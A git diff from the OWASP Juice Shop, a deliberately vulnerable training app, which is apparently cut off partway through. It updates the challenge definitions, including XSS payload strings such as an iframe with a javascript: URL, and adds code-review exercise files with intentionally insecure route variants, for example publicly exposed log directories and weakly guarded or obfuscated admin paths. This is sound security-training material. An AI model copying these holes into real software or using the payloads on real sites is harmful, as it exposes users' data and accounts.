hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/security-through-obscurity.html#rat-out-a-notorious-character-hiding-in-plain-sight-in-the-shop' - key: hiddenImageChallenge + name: 'Missing Encoding' + category: 'Improper Input Validation' + tags: + - Shenanigans + description: 'Retrieve the photo of Bjoern''s cat in "melee combat-mode".' + difficulty: 1 + hint: 'Check the Photo Wall for an image that could not be loaded correctly.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/improper-input-validation.html#retrieve-the-photo-of-bjoerns-cat-in-melee-combat-mode' + mitigationUrl: ~ + key: missingEncodingChallenge - - name: 'Supply Chain Attack' - category: 'Broken Authentication' - description: 'Inform the development team about a danger to some of their credentials. (Send them the URL of the original report or the CVE of this vulnerability)' + name: 'Cross-Site Imaging' + category: 'Security Misconfiguration' + tags: + - Contraption + description: 'Stick cute cross-domain kittens all over our delivery boxes.' difficulty: 5 - hint: 'This vulnerability will not affect any customer of the shop. It is aimed exclusively at its developers.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/broken-authentication.html#inform-the-development-team-about-a-danger-to-some-of-their-credentials' - key: supplyChainAttackChallenge -- - name: 'Christmas Special' - category: 'Injection' - description: 'Order the Christmas special offer of 2014.' - difficulty: 4 - hint: 'Find out how the application handles unavailable products and try to find a loophole.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/injection.html#order-the-christmas-special-offer-of-2014' - key: christmasSpecialChallenge + hint: 'This challenge would formally have to be in several categories as the developers made multiple gaffes for this to be possible.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/injection.html#stick-cute-cross-domain-kittens-all-over-our-delivery-boxes' + mitigationUrl: ~ + key: svgInjectionChallenge - - name: 'User Credentials' - category: 'Injection' - description: 'Retrieve a list of all user credentials via SQL Injection' - difficulty: 4 - hint: 'Craft a UNION SELECT attack string against an endpoint that offers an unnecessary way to filter data.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/injection.html#retrieve-a-list-of-all-user-credentials-via-sql-injection' - key: unionSqlInjectionChallenge + name: 'Exposed Metrics' + category: 'Sensitive Data Exposure' + tags: + - Good Practice + description: 'Find the endpoint that serves usage data to be scraped by a popular monitoring system.' + difficulty: 1 + hint: 'Try to guess what URL the endpoint might have.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/sensitive-data-exposure.html#find-the-endpoint-that-serves-usage-data-to-be-scraped-by-a-popular-monitoring-system' + mitigationUrl: ~ + key: exposedMetricsChallenge - - name: 'Admin Registration' + name: 'Deluxe Fraud' category: 'Improper Input Validation' - description: 'Get registered as admin user.' + description: 'Obtain a Deluxe Membership without paying for it.' difficulty: 3 - hint: 'Assign the unassignable.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/improper-input-validation.html#get-registered-as-admin-user' - key: registerAdminChallenge + hint: 'Look closely at what happens when you attempt to upgrade your account.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/improper-input-validation.html#obtain-a-deluxe-membership-without-paying-for-it' + mitigationUrl: ~ + key: freeDeluxeChallenge - - name: 'XSS Tier 0' - category: 'XSS' - description: 'Perform a reflected XSS attack with <iframe src="javascript:alert(`xss`)">.' - difficulty: 1 - hint: 'Look for an input field where its content appears in the response HTML when its form is submitted.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/xss.html#perform-a-reflected-xss-attack' - key: reflectedXssChallenge + name: 'CSRF' # FIXME No e2e test automation! No longer works in Chrome >=80 and Firefox >=100 or other latest browsers! + category: 'Broken Access Control' + description: 'Change the name of a user by performing Cross-Site Request Forgery from another origin.' + difficulty: 3 + hint: 'Find a form which updates the username and then construct a malicious page in the online HTML editor. You probably need an older browser version for this.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-access-control.html#change-the-name-of-a-user-by-performing-cross-site-request-forgery-from-another-origin' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html' + key: csrfChallenge - - name: 'XSS Tier 1' + name: 'Bonus Payload' category: 'XSS' - description: 'Perform a DOM XSS attack with <iframe src="javascript:alert(`xss`)">.' + tags: + - Shenanigans + - Tutorial + description: 'Use the bonus payload <iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe> in the DOM XSS challenge.' difficulty: 1 - hint: 'Look for an input field where its content appears in the HTML when its form is submitted.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/xss.html#perform-a-reflected-xss-attack' - key: localXssChallenge -- - name: 'XSS Tier 2' - category: 'XSS' - description: 'Perform a persisted XSS attack with <iframe src="javascript:alert(`xss`)"> bypassing a client-side security mechanism.' - difficulty: 3 - hint: 'Only some input fields validate their input. Even less of these are persisted in a way where their content is shown on another screen.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/xss.html#perform-a-persisted-xss-attack-bypassing-a-client-side-security-mechanism' - key: persistedXssChallengeUser + hint: 'Copy + Paste = Solved!' + hintUrl: 'https://pwning.owasp-juice.shop/part2/xss.html#use-the-bonus-payload-in-the-dom-xss-challenge' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html' + key: xssBonusChallenge + tutorial: + order: 3 +- + name: 'Reset Uvogin''s Password' + category: 'Sensitive Data Exposure' + tags: + - OSINT + description: 'Reset Uvogin''s password via the Forgot Password mechanism with the original answer to his security question.' + difficulty: 4 + hint: 'You might have to do some OSINT on his social media personas to find out his honest answer to the security question.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/sensitive-data-exposure.html#reset-uvogins-password-via-the-forgot-password-mechanism' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html' + key: resetPasswordUvoginChallenge - - name: 'XSS Tier 3' - category: 'XSS' - description: 'Perform a persisted XSS attack with <iframe src="javascript:alert(`xss`)"> without using the frontend application at all.' - difficulty: 3 - hint: 'You need to work with the server-side API directly. Try different HTTP verbs on different entities exposed through the API.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/xss.html#perform-a-persisted-xss-attack-without-using-the-frontend-application-at-all' - key: restfulXssChallenge + name: 'Meta Geo Stalking' + category: 'Sensitive Data Exposure' + tags: + - OSINT + description: 'Determine the answer to John''s security question by looking at an upload of him to the Photo Wall and use it to reset his password via the Forgot Password mechanism.' + difficulty: 2 + hint: 'Take a look at the meta data of the corresponding photo.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/sensitive-data-exposure.html#determine-the-answer-to-johns-security-question' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html' + key: geoStalkingMetaChallenge - - name: 'XSS Tier 4' - category: 'XSS' - description: 'Perform a persisted XSS attack with <iframe src="javascript:alert(`xss`)"> bypassing a server-side security mechanism.' - difficulty: 4 - hint: 'The "Comment" field in the "Contact Us" screen is where you want to put your focus on.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/xss.html#perform-a-persisted-xss-attack-bypassing-a-server-side-security-mechanism' - key: persistedXssChallengeFeedback + name: 'Visual Geo Stalking' + category: 'Sensitive Data Exposure' + tags: + - OSINT + description: 'Determine the answer to Emma''s security question by looking at an upload of her to the Photo Wall and use it to reset her password via the Forgot Password mechanism.' + difficulty: 2 + hint: 'Take a look at the details in the photo to determine the location of where it was taken.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/sensitive-data-exposure.html#determine-the-answer-to-emmas-security-question' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html' + key: geoStalkingVisualChallenge - - name: 'CSRF' - category: 'Broken Authentication' - description: 'Change Bender''s password into slurmCl4ssic without using SQL Injection.' + name: 'Kill Chatbot' + category: 'Vulnerable Components' + tags: + - Code Analysis + description: 'Permanently disable the support chatbot so that it can no longer answer customer queries.' difficulty: 5 - hint: 'The fact that the name of this challenge is "CSRF" is already a huge hint.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/broken-authentication.html#change-benders-password-into-slurmcl4ssic-without-using-sql-injection' - key: csrfChallenge + hint: 'Think of a way to get a hold of the internal workings on the chatbot API.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/improper-input-validation.html#permanently-disable-the-support-chatbot' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html' + key: killChatbotChallenge - - name: 'XSS Tier 5' - category: 'XSS' - description: 'Perform a persisted XSS attack with <iframe src="javascript:alert(`xss`)"> through an HTTP header.' + name: 'Poison Null Byte' + category: 'Improper Input Validation' + tags: + - Prerequisite + description: 'Bypass a security control with a Poison Null Byte to access a file not meant for your eyes.' difficulty: 4 - hint: 'Finding a piece of displayed information that could originate from an HTTP header is the part of this challenge.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/xss.html#perform-a-persisted-xss-attack-through-an-http-header' - key: httpHeaderXssChallenge -- - name: 'Multiple Likes' - category: 'Race Condition' - description: 'Like any review at least three times as the same user.' - difficulty: 6 - hint: 'Punctuality is the politeness of kings.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/race-condition.html#like-any-review-at-least-three-times-as-the-same-user' - key: timingAttackChallenge + hint: 'Take a look at the details in the photo to determine the location of where it was taken.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/improper-input-validation.html#bypass-a-security-control-with-a-poison-null-byte' + mitigationUrl: ~ + key: nullByteChallenge +- + name: 'Bully Chatbot' + category: 'Miscellaneous' + tags: + - Shenanigans + - Brute Force + description: 'Receive a coupon code from the support chatbot.' + difficulty: 1 + hint: 'Just keep asking.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/miscellaneous.html#receive-a-coupon-code-from-the-support-chatbot' + mitigationUrl: ~ + key: bullyChatbotChallenge - - name: 'SSTi' - category: 'Injection' - description: 'Infect the server with juicy malware by abusing arbitrary command execution.' - difficulty: 6 - hint: 'The search for a personal identity is the life of a man.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/injection.html#infect-the-server-with-malware-by-abusing-arbitrary-command-execution' - key: sstiChallenge + name: 'Local File Read' + category: 'Vulnerable Components' + tags: + - OSINT + - Danger Zone + difficulty: 5 + hint: 'You should read up on vulnerabilities in popular NodeJs template engines.' + description: 'Gain read access to an arbitrary local file on the web server.' + key: 'lfrChallenge' disabledEnv: - - Docker - - Heroku -- - name: 'SSRF' - category: 'Broken Access Control' - description: 'Request a hidden resource on server through server.' - difficulty: 6 - hint: 'Reverse the Bad and it gets Good again.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/broken-access-control.html#request-a-hidden-resource-on-server-through-server' - key: ssrfChallenge -- - name: 'Login Amy' - category: 'Sensitive Data Exposure' - description: 'Log in with Amy''s original user credentials. (This could take 93.83 billion trillion trillion centuries to brute force, but luckily she did not read the "One Important Final Note")' - difficulty: 3 - hint: 'This challenge will make you go after a needle in a haystack.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/sensitive-data-exposure.html#log-in-with-amys-original-user-credentials' - key: loginAmyChallenge + - Docker + - Heroku + - Gitpod - - name: 'Reset Bjoern''s Password Tier 1' - category: 'Broken Authentication' - description: 'Reset the password of Bjoern''s OWASP account via the Forgot Password mechanism with the original answer to his security question.' - difficulty: 3 - hint: 'He might have spoilered it on at least one occasion where a camera was running. Maybe elsewhere as well.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/broken-authentication.html#reset-the-password-of-bjoerns-owasp-account-via-the-forgot-password-mechanism' - key: resetPasswordBjoernOwaspChallenge + name: 'Mass Dispel' + category: 'Miscellaneous' + description: 'Close multiple "Challenge solved"-notifications in one go.' + difficulty: 1 + hint: 'Either check the official documentation or inspect a notification UI element directly.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/score-board.html#close-multiple-challenge-solved-notifications-in-one-go' + mitigationUrl: ~ + key: closeNotificationsChallenge diff --git a/data/static/codefixes/.editorconfig b/data/static/codefixes/.editorconfig new file mode 100644 index 00000000000..33459fe66c6 --- /dev/null +++ b/data/static/codefixes/.editorconfig @@ -0,0 +1,4 @@ +[*] +indent_style = space +indent_size = 2 +insert_final_newline = false \ No newline at end of file diff --git a/data/static/codefixes/accessLogDisclosureChallenge.info.yml b/data/static/codefixes/accessLogDisclosureChallenge.info.yml new file mode 100644 index 00000000000..6eada01a84c --- /dev/null +++ b/data/static/codefixes/accessLogDisclosureChallenge.info.yml @@ -0,0 +1,14 @@ +fixes: + - id: 1 + explanation: 'There should generally be no good reason to expose server logs through a web URL of the server itself, epecially not when that server is Internet-facing.' + - id: 2 + explanation: "Switching off the detailed view option is a cosmetic change on the directory listing but still allows the logs to be browsed and accessed." + - id: 3 + explanation: 'Removing the route that serves individual log files is likely to plumb the data leak but still provides information to the attacker unnecessarily.' + - id: 4 + explanation: 'Removing only the directory listing will still allow attackers to download individual log files if they can come up with a valid file name.' +hints: + - "Can you identify one or more routes which have something to do with log files?" + - "Did you spot the directory listing clearly linked to log files?" + - "Did you notice that there is a seperate route for retrieving individual log files?" + - "Make sure to select both lines responsible for the log file data leakage." diff --git a/data/static/codefixes/accessLogDisclosureChallenge_1_correct.ts b/data/static/codefixes/accessLogDisclosureChallenge_1_correct.ts new file mode 100644 index 00000000000..c44c1abc917 --- /dev/null +++ b/data/static/codefixes/accessLogDisclosureChallenge_1_correct.ts @@ -0,0 +1,14 @@ +/* /ftp directory browsing and file download */ + app.use('/ftp', serveIndexMiddleware, serveIndex('ftp', { icons: true })) + app.use('/ftp(?!/quarantine)/:file', fileServer()) + app.use('/ftp/quarantine/:file', quarantineServer()) + + /* /encryptionkeys directory browsing */ + app.use('/encryptionkeys', serveIndexMiddleware, serveIndex('encryptionkeys', { icons: true, view: 'details' })) + app.use('/encryptionkeys/:file', keyServer()) + + /* Swagger documentation for B2B v2 endpoints */ + app.use('/api-docs', swaggerUi.serve, swaggerUi.setup(swaggerDocument)) + + app.use(express.static(path.resolve('frontend/dist/frontend'))) + app.use(cookieParser('kekse')) \ No newline at end of file diff --git a/data/static/codefixes/accessLogDisclosureChallenge_2.ts b/data/static/codefixes/accessLogDisclosureChallenge_2.ts new file mode 100644 index 00000000000..700c150bf5f --- /dev/null +++ b/data/static/codefixes/accessLogDisclosureChallenge_2.ts @@ -0,0 +1,18 @@ +/* /ftp directory browsing and file download */ + app.use('/ftp', serveIndexMiddleware, serveIndex('ftp', { icons: true })) + app.use('/ftp(?!/quarantine)/:file', fileServer()) + app.use('/ftp/quarantine/:file', quarantineServer()) + + /* /encryptionkeys directory browsing */ + app.use('/encryptionkeys', serveIndexMiddleware, serveIndex('encryptionkeys', { icons: true, view: 'details' })) + app.use('/encryptionkeys/:file', keyServer()) + + /* /logs directory browsing */ + app.use('/support/logs', serveIndexMiddleware, serveIndex('logs', { icons: true })) + app.use('/support/logs/:file', logFileServer()) + + /* Swagger documentation for B2B v2 endpoints */ + app.use('/api-docs', swaggerUi.serve, swaggerUi.setup(swaggerDocument)) + + app.use(express.static(path.resolve('frontend/dist/frontend'))) + app.use(cookieParser('kekse')) \ No newline at end of file diff --git a/data/static/codefixes/accessLogDisclosureChallenge_3.ts b/data/static/codefixes/accessLogDisclosureChallenge_3.ts new file mode 100644 index 00000000000..cf855df8cab --- /dev/null +++ b/data/static/codefixes/accessLogDisclosureChallenge_3.ts @@ -0,0 +1,17 @@ +/* /ftp directory browsing and file download */ + app.use('/ftp', serveIndexMiddleware, serveIndex('ftp', { icons: true })) + app.use('/ftp(?!/quarantine)/:file', fileServer()) + app.use('/ftp/quarantine/:file', quarantineServer()) + + /* /encryptionkeys directory browsing */ + app.use('/encryptionkeys', serveIndexMiddleware, serveIndex('encryptionkeys', { icons: true, view: 'details' })) + app.use('/encryptionkeys/:file', keyServer()) + + /* /logs directory browsing */ + app.use('/support/logs', serveIndexMiddleware, serveIndex('logs', { icons: true, view: 'details' })) + + /* Swagger documentation for B2B v2 endpoints */ + app.use('/api-docs', swaggerUi.serve, swaggerUi.setup(swaggerDocument)) + + app.use(express.static(path.resolve('frontend/dist/frontend'))) + app.use(cookieParser('kekse')) \ No newline at end of file diff --git a/data/static/codefixes/accessLogDisclosureChallenge_4.ts b/data/static/codefixes/accessLogDisclosureChallenge_4.ts new file mode 100644 index 00000000000..bf9432cff89 --- /dev/null +++ b/data/static/codefixes/accessLogDisclosureChallenge_4.ts @@ -0,0 +1,17 @@ +/* /ftp directory browsing and file download */ + app.use('/ftp', serveIndexMiddleware, serveIndex('ftp', { icons: true })) + app.use('/ftp(?!/quarantine)/:file', fileServer()) + app.use('/ftp/quarantine/:file', quarantineServer()) + + /* /encryptionkeys directory browsing */ + app.use('/encryptionkeys', serveIndexMiddleware, serveIndex('encryptionkeys', { icons: true, view: 'details' })) + app.use('/encryptionkeys/:file', keyServer()) + + /* /logs directory browsing */ + app.use('/support/logs/:file', logFileServer()) + + /* Swagger documentation for B2B v2 endpoints */ + app.use('/api-docs', swaggerUi.serve, swaggerUi.setup(swaggerDocument)) + + app.use(express.static(path.resolve('frontend/dist/frontend'))) + app.use(cookieParser('kekse')) \ No newline at end of file diff --git a/data/static/codefixes/adminSectionChallenge.info.yml b/data/static/codefixes/adminSectionChallenge.info.yml new file mode 100644 index 00000000000..baff53a72f0 --- /dev/null +++ b/data/static/codefixes/adminSectionChallenge.info.yml @@ -0,0 +1,12 @@ +fixes: + - id: 1 + explanation: 'While attempts could be made to limit access to administrative functions of a web shop through access control, it is definitely safer to apply the "separation of concerns" pattern more strictly by internally hosting a distinct admin backend application with no Internet exposure.' + - id: 2 + explanation: "Obfuscating the path to the administration section does not add any security, even if it wasn't just a trivial Base64 encoding." + - id: 3 + explanation: 'This obfuscation attempt is hard to undo by hand but trivial when executed in a JavaScript console. Regardless, obfuscating the route does not add any level of security.' + - id: 4 + explanation: 'Assuming that the original "AdminGuard" provided access control only to admin users, switching to "LoginGuard" seems like a downgrade that would give access to any authenticated user.' +hints: + - "Among the long list of route mappings, can you spot any that seem responsible for admin-related functionality?" + - "Luckily the route mappings were originally in alphabetical order before the developers forgot about that rule at some point." diff --git a/data/static/codefixes/adminSectionChallenge_1_correct.ts b/data/static/codefixes/adminSectionChallenge_1_correct.ts new file mode 100644 index 00000000000..5273237b97d --- /dev/null +++ b/data/static/codefixes/adminSectionChallenge_1_correct.ts @@ -0,0 +1,178 @@ +const routes: Routes = [ + /* TODO: Externalize admin functions into separate application + that is only accessible inside corporate network. + */ + // { + // path: 'administration', + // component: AdministrationComponent, + // canActivate: [AdminGuard] + // }, + { + path: 'accounting', + component: AccountingComponent, + canActivate: [AccountingGuard] + }, + { + path: 'about', + component: AboutComponent + }, + { + path: 'address/select', + component: AddressSelectComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/saved', + component: SavedAddressComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/create', + component: AddressCreateComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/edit/:addressId', + component: AddressCreateComponent, + canActivate: [LoginGuard] + }, + { + path: 'delivery-method', + component: DeliveryMethodComponent + }, + { + path: 'deluxe-membership', + component: DeluxeUserComponent, + canActivate: [LoginGuard] + }, + { + path: 'saved-payment-methods', + component: SavedPaymentMethodsComponent + }, + { + path: 'basket', + component: BasketComponent + }, + { + path: 'order-completion/:id', + component: OrderCompletionComponent + }, + { + path: 'contact', + component: ContactComponent + }, + { + path: 'photo-wall', + component: PhotoWallComponent + }, + { + path: 'complain', + component: ComplaintComponent + }, + { + path: 'chatbot', + component: ChatbotComponent + }, + { + path: 'order-summary', + component: OrderSummaryComponent + }, + { + path: 'order-history', + component: OrderHistoryComponent + }, + { + path: 'payment/:entity', + component: PaymentComponent + }, + { + path: 'wallet', + component: WalletComponent + }, + { + path: 'login', + component: LoginComponent + }, + { + path: 'forgot-password', + component: ForgotPasswordComponent + }, + { + path: 'recycle', + component: RecycleComponent + }, + { + path: 'register', + component: RegisterComponent + }, + { + path: 'search', + component: SearchResultComponent + }, + { + path: 'hacking-instructor', + component: SearchResultComponent + }, + { + path: 'score-board', + component: ScoreBoardComponent + }, + { + path: 'track-result', + component: TrackResultComponent + }, + { + path: 'track-result/new', + component: TrackResultComponent, + data: { + type: 'new' + } + }, + { + path: '2fa/enter', + component: TwoFactorAuthEnterComponent + }, + { + path: 'privacy-security', + component: PrivacySecurityComponent, + children: [ + { + path: 'privacy-policy', + component: PrivacyPolicyComponent + }, + { + path: 'change-password', + component: ChangePasswordComponent + }, + { + path: 'two-factor-authentication', + component: TwoFactorAuthComponent + }, + { + path: 'data-export', + component: DataExportComponent + }, + { + path: 'last-login-ip', + component: LastLoginIpComponent + } + ] + }, + { + matcher: oauthMatcher, + data: { params: (window.location.href).substr(window.location.href.indexOf('#')) }, + component: OAuthComponent + }, + { + matcher: tokenMatcher, + component: TokenSaleComponent + }, + { + path: '403', + component: ErrorPageComponent + }, + { + path: '**', + component: SearchResultComponent + } +] \ No newline at end of file diff --git a/data/static/codefixes/adminSectionChallenge_2.ts b/data/static/codefixes/adminSectionChallenge_2.ts new file mode 100644 index 00000000000..6576d14deb4 --- /dev/null +++ b/data/static/codefixes/adminSectionChallenge_2.ts @@ -0,0 +1,175 @@ +const routes: Routes = [ + { + path: atob('YWRtaW5pc3RyYXRpb24='), + component: AdministrationComponent, + canActivate: [AdminGuard] + }, + { + path: 'accounting', + component: AccountingComponent, + canActivate: [AccountingGuard] + }, + { + path: 'about', + component: AboutComponent + }, + { + path: 'address/select', + component: AddressSelectComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/saved', + component: SavedAddressComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/create', + component: AddressCreateComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/edit/:addressId', + component: AddressCreateComponent, + canActivate: [LoginGuard] + }, + { + path: 'delivery-method', + component: DeliveryMethodComponent + }, + { + path: 'deluxe-membership', + component: DeluxeUserComponent, + canActivate: [LoginGuard] + }, + { + path: 'saved-payment-methods', + component: SavedPaymentMethodsComponent + }, + { + path: 'basket', + component: BasketComponent + }, + { + path: 'order-completion/:id', + component: OrderCompletionComponent + }, + { + path: 'contact', + component: ContactComponent + }, + { + path: 'photo-wall', + component: PhotoWallComponent + }, + { + path: 'complain', + component: ComplaintComponent + }, + { + path: 'chatbot', + component: ChatbotComponent + }, + { + path: 'order-summary', + component: OrderSummaryComponent + }, + { + path: 'order-history', + component: OrderHistoryComponent + }, + { + path: 'payment/:entity', + component: PaymentComponent + }, + { + path: 'wallet', + component: WalletComponent + }, + { + path: 'login', + component: LoginComponent + }, + { + path: 'forgot-password', + component: ForgotPasswordComponent + }, + { + path: 'recycle', + component: RecycleComponent + }, + { + path: 'register', + component: RegisterComponent + }, + { + path: 'search', + component: SearchResultComponent + }, + { + path: 'hacking-instructor', + component: SearchResultComponent + }, + { + path: 'score-board', + component: ScoreBoardComponent + }, + { + path: 'track-result', + component: TrackResultComponent + }, + { + path: 'track-result/new', + component: TrackResultComponent, + data: { + type: 'new' + } + }, + { + path: '2fa/enter', + component: TwoFactorAuthEnterComponent + }, + { + path: 'privacy-security', + component: PrivacySecurityComponent, + children: [ + { + path: 'privacy-policy', + component: PrivacyPolicyComponent + }, + { + path: 'change-password', + component: ChangePasswordComponent + }, + { + path: 'two-factor-authentication', + component: TwoFactorAuthComponent + }, + { + path: 'data-export', + component: DataExportComponent + }, + { + path: 'last-login-ip', + component: LastLoginIpComponent + } + ] + }, + { + matcher: oauthMatcher, + data: { params: (window.location.href).substr(window.location.href.indexOf('#')) }, + component: OAuthComponent + }, + { + matcher: tokenMatcher, + component: TokenSaleComponent + }, + { + path: '403', + component: ErrorPageComponent + }, + { + path: '**', + component: SearchResultComponent + } +] \ No newline at end of file diff --git a/data/static/codefixes/adminSectionChallenge_3.ts b/data/static/codefixes/adminSectionChallenge_3.ts new file mode 100644 index 00000000000..08c8f4b826b --- /dev/null +++ b/data/static/codefixes/adminSectionChallenge_3.ts @@ -0,0 +1,175 @@ +const routes: Routes = [ + { + path: (function(){var t=Array.prototype.slice.call(arguments),G=t.shift();return t.reverse().map(function(e,w){return String.fromCharCode(e-G-2-w)}).join('')})(55,167,171,165,168,158,154)+(62749278960).toString(36).toLowerCase()+(function(){var b=Array.prototype.slice.call(arguments),V=b.shift();return b.reverse().map(function(l,S){return String.fromCharCode(l-V-43-S)}).join('')})(58,211), + component: AdministrationComponent, + canActivate: [AdminGuard] + }, + { + path: 'accounting', + component: AccountingComponent, + canActivate: [AccountingGuard] + }, + { + path: 'about', + component: AboutComponent + }, + { + path: 'address/select', + component: AddressSelectComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/saved', + component: SavedAddressComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/create', + component: AddressCreateComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/edit/:addressId', + component: AddressCreateComponent, + canActivate: [LoginGuard] + }, + { + path: 'delivery-method', + component: DeliveryMethodComponent + }, + { + path: 'deluxe-membership', + component: DeluxeUserComponent, + canActivate: [LoginGuard] + }, + { + path: 'saved-payment-methods', + component: SavedPaymentMethodsComponent + }, + { + path: 'basket', + component: BasketComponent + }, + { + path: 'order-completion/:id', + component: OrderCompletionComponent + }, + { + path: 'contact', + component: ContactComponent + }, + { + path: 'photo-wall', + component: PhotoWallComponent + }, + { + path: 'complain', + component: ComplaintComponent + }, + { + path: 'chatbot', + component: ChatbotComponent + }, + { + path: 'order-summary', + component: OrderSummaryComponent + }, + { + path: 'order-history', + component: OrderHistoryComponent + }, + { + path: 'payment/:entity', + component: PaymentComponent + }, + { + path: 'wallet', + component: WalletComponent + }, + { + path: 'login', + component: LoginComponent + }, + { + path: 'forgot-password', + component: ForgotPasswordComponent + }, + { + path: 'recycle', + component: RecycleComponent + }, + { + path: 'register', + component: RegisterComponent + }, + { + path: 'search', + component: SearchResultComponent + }, + { + path: 'hacking-instructor', + component: SearchResultComponent + }, + { + path: 'score-board', + component: ScoreBoardComponent + }, + { + path: 'track-result', + component: TrackResultComponent + }, + { + path: 'track-result/new', + component: TrackResultComponent, + data: { + type: 'new' + } + }, + { + path: '2fa/enter', + component: TwoFactorAuthEnterComponent + }, + { + path: 'privacy-security', + component: PrivacySecurityComponent, + children: [ + { + path: 'privacy-policy', + component: PrivacyPolicyComponent + }, + { + path: 'change-password', + component: ChangePasswordComponent + }, + { + path: 'two-factor-authentication', + component: TwoFactorAuthComponent + }, + { + path: 'data-export', + component: DataExportComponent + }, + { + path: 'last-login-ip', + component: LastLoginIpComponent + } + ] + }, + { + matcher: oauthMatcher, + data: { params: (window.location.href).substr(window.location.href.indexOf('#')) }, + component: OAuthComponent + }, + { + matcher: tokenMatcher, + component: TokenSaleComponent + }, + { + path: '403', + component: ErrorPageComponent + }, + { + path: '**', + component: SearchResultComponent + } +] \ No newline at end of file diff --git a/data/static/codefixes/adminSectionChallenge_4.ts b/data/static/codefixes/adminSectionChallenge_4.ts new file mode 100644 index 00000000000..779539a2dee --- /dev/null +++ b/data/static/codefixes/adminSectionChallenge_4.ts @@ -0,0 +1,175 @@ +const routes: Routes = [ + { + path: 'administration', + component: AdministrationComponent, + canActivate: [LoginGuard] + }, + { + path: 'accounting', + component: AccountingComponent, + canActivate: [AccountingGuard] + }, + { + path: 'about', + component: AboutComponent + }, + { + path: 'address/select', + component: AddressSelectComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/saved', + component: SavedAddressComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/create', + component: AddressCreateComponent, + canActivate: [LoginGuard] + }, + { + path: 'address/edit/:addressId', + component: AddressCreateComponent, + canActivate: [LoginGuard] + }, + { + path: 'delivery-method', + component: DeliveryMethodComponent + }, + { + path: 'deluxe-membership', + component: DeluxeUserComponent, + canActivate: [LoginGuard] + }, + { + path: 'saved-payment-methods', + component: SavedPaymentMethodsComponent + }, + { + path: 'basket', + component: BasketComponent + }, + { + path: 'order-completion/:id', + component: OrderCompletionComponent + }, + { + path: 'contact', + component: ContactComponent + }, + { + path: 'photo-wall', + component: PhotoWallComponent + }, + { + path: 'complain', + component: ComplaintComponent + }, + { + path: 'chatbot', + component: ChatbotComponent + }, + { + path: 'order-summary', + component: OrderSummaryComponent + }, + { + path: 'order-history', + component: OrderHistoryComponent + }, + { + path: 'payment/:entity', + component: PaymentComponent + }, + { + path: 'wallet', + component: WalletComponent + }, + { + path: 'login', + component: LoginComponent + }, + { + path: 'forgot-password', + component: ForgotPasswordComponent + }, + { + path: 'recycle', + component: RecycleComponent + }, + { + path: 'register', + component: RegisterComponent + }, + { + path: 'search', + component: SearchResultComponent + }, + { + path: 'hacking-instructor', + component: SearchResultComponent + }, + { + path: 'score-board', + component: ScoreBoardComponent + }, + { + path: 'track-result', + component: TrackResultComponent + }, + { + path: 'track-result/new', + component: TrackResultComponent, + data: { + type: 'new' + } + }, + { + path: '2fa/enter', + component: TwoFactorAuthEnterComponent + }, + { + path: 'privacy-security', + component: PrivacySecurityComponent, + children: [ + { + path: 'privacy-policy', + component: PrivacyPolicyComponent + }, + { + path: 